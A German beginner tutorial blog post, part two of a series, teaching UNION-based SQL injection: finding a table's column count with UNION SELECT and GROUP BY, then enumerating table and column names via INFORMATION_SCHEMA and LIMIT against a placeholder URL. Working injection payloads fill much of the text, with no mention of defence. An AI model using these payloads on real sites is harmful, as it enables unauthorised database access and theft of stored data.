publish and discover academic work ...

SQL- Injection für Anfänger: Teil 2

Dieser Artikel ist die Fortsetzung des Artikels SQL — Injection für Anfänger: Teil 1.

Heute werden wir uns mit der Struktur von Tabellen austoben. Ziel ist, die Spaltenanzahl und ihre Namen zu bestimmen. Zunächst aber, eine kurze Einführung in SQL. Welche Ausgabe liefert folgender Befehl?

SELECT 1

Die Lösung:
1
----
1


Die Ausgabe ist wie folgt:

SELECT 1, 2, 3

Antwort:
1  |  2  |  3
----------
1  |  2  |  3


Hier müssen wir wissen was der Befehl UNION macht. Er nimmt einfach die Ergebnisse von zwei SQL Anfragen und macht daraus die Ergebnistabelle.

Beispiel:

SELECT id FROM produkt  WHERE id=1 UNION  SELECT id FROM produkt  WHERE id=2

Resultat:

Id
-----
1
2


Voraussetzung für den Einsatz von UNION ist, dass die Anzahl und Namen der Spalten im ersten und zweiten Select-Statement, gleicht sind. Eine Konstruktion die, diese Voraussetzung nicht erfüllt, wird einen Fehler erzeugen. Ein Select-Konstrukt, bei dem im ersten Select zwei Felder ausgewählt werden und in zweiten nur eins, wird nicht funktionieren:


-- ERROR --
SELECT id, price FROM produkt  WHERE id=1 UNION  SELECT id FROM produkt  WHERE id=2


Es wird eine Fehlermeldung erzeugt:

The used SELECT statements have a different number of columns


Jetzt versuchen wir unsere Kenntnisse anzuwenden. Wir möchten die Anzahl der Spalten aus der Tabelle «product». Dafür senden wir die Anfrage:

http://domain.com/produkt.php? id=1' UNION SELECT 1, 2 --


Die Datenbank interpretiert es wie folgt:

SELECT * FROM produkt  WHERE id ='1' UNION SELECT 1, 2 --  '


Wird ein Fehler oder etwas völlig anderes als erwartet, angezeigt…

http://domain.com/produkt.php?id=1


… dann ist die Anzahl der Spalten in der Tabelle «product» nicht gleich zwei. Wir können es einfach durchprobieren und irgendwann bekommen wir dieselbe Seite, die uns
http://domain.com/produkt.php? id=1
liefert. Ist die Anzahl der Spalten in der Tabelle «product» beispielsweise fünf, dann sieht unsere Anfrage wie folgt aus:

http://domain.com/produkt.php? id=1' UNION SELECT 1, 2,3,4,5 --


Ist jedoch die Anzahl der Spalten einer Tabelle bereits groß, kann diese «Experimentier»-Vorgehensweise, schnell ineffizient werden. Es gibt einen schnelleren Weg und zwar mit Hilfe des Schlüsselworts GROUP BY. Dieses Schlüsselwort werden wir benutzen um die Anzahl der Spalten mithilfe der Binäre Suche zu bestimmen.

Beispiel: Wir senden folgende Anfrage an die Datenbank

http://domain.com/produkt.php?id=1' GROUP BY 2 –


dann wird sie nur dann ohne Fehler ausgeführt, wenn die Anzahl der Spalten in der Tabelle «product» kleiner oder gleich zwei ist. Unsere Vorgehensweise in diesem Fall ist sehr einfach. Wir nehmen einfach an, dass die Anzahl der Spalten nicht höher als zehn ist. Wir prüfen die also unsere Vermutung:

http://domain.com/produkt.php?id=1' GROUP BY 10 –


wenn wir keinen Fehler erhalten, so ist unsere Annahme korrekt gewesen. Jetzt reduzieren wir die Anzahl um die hälfte, also ist unsere Vermutung nun, die Tabelle hat nicht mehr als fünf Spalten:

http://domain.com/produkt.php?id=1' GROUP BY 5 –


Erhalten wir nun eine Fehlermeldung, heißt das, dass die richtige Zahl zwischen fünf und zehn liegt. Der nächster Schritt ist, die Mitte zwischen fünf und zehn zu überprüfen, z.B. sieben:

http://domain.com/produkt.php?id=1' GROUP BY 7 –


Ich denke Sie haben die Idee verstanden.

Für den nächsten Schritt werden wir ein wenig Tricksen. Mit dem Trick besorgen wir uns die Daten, die uns normalerweise das zweite Select-Statement liefert. Der Trick ist einfach, wir geben eine id an, die in jedem Fall nicht existiert, z.B. -1:

http://domain.com/produkt.php? id=-1' UNION SELECT 1, 2,3,4,5 --


Die Ausgabe des zweiten Select-Statements brauchen wir, um die Namen der Spalten zu bestimmen. Wenn wir recht schnell darauf zugreifen möchten, muss die Datenbank die INFORMATION_SCHEMA unterstützen, was aber erst ab der Version MYSQL >=5 möglich ist. Falls das der Fall ist können wir folgende Anfrage ausprobieren:

http://domain.com/produkt.php? id=-1' UNION SELECT 1,2,3,4,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES --


Es gibt allerdings ein kleines Problem, wir werden nur die erste Zeile des Ergebnisses sehen. An dieser Stelle hilft uns das Schlüsselwort LIMIT:

http://domain.com/produkt.php? id=-1' UNION SELECT 1,2,3,4,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES  LIMIT 0,1 --


Damit lässt sich die Anzahl der auszugebenden Zeilen begrenzen. Die ausgeführte Anfrage, liefert uns die erste Zeile. Die folgende Anfrage

http://domain.com/produkt.php? id=-1' UNION SELECT 1,2,3,4,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES  LIMIT 1,1 --


liefert uns die zweite Zeile usw. So finden wir heraus wie die Produkt-Tabelle heißt. Nun möchten wir aber die Namen der Spalten wissen. Dafür nehmen wir anstelle TABLE_NAME die Spalten: COLUMN_NAME und geben den bereits bekannten Tabellennamen mit:

http://domain.com/produkt.php? id=-1' UNION SELECT 1,2,3, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Produkt’ LIMIT 0,1 –


Jetzt stellt sich die Frage, welche Möglichkeiten es gibt, wenn wir keinen Zugang zur INFORMATION_SCHEMA haben? Die Antwort ist leider: nichts — wir müssen uns mit dem Ausprobieren begnügen:

xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 FROM Tabellename --

Hier steht Tabellename für den Namen der Tabelle, den wir angeben müssen. Nach dem wir den Name «bruteforce»-weise bestimmt haben, können wir dasselbe für die Namen der Spalten tun.

Im nächsten Artikel besprechen wir, wie in MySQL, in eine Datei geschrieben und aus einer Datei gelesen werden kann. Bleiben Sie dabei!

Und wie immer, falls der Artikel Ihnen gefallen hat, möchte ich Sie bitten auf die Buttons unten (Facebook, Google+ oder Twitter) zu klicken, damit Acadopus ein bisschen bekannter wird — was Acadopus mit Sicherheit verdient hat.
  • DrWeb DrWeb,
  • 24 März 2013, 22:41
  • 2

Kommentare (0)

RSS zusammenklappen / ausklappen

Kommentar schreiben

Ihr Name
Sie sind ein Gast, Sie dürfen keine HTML-Tags verwenden
Bitte geben Sie die Zeichen in das folgende Feld ein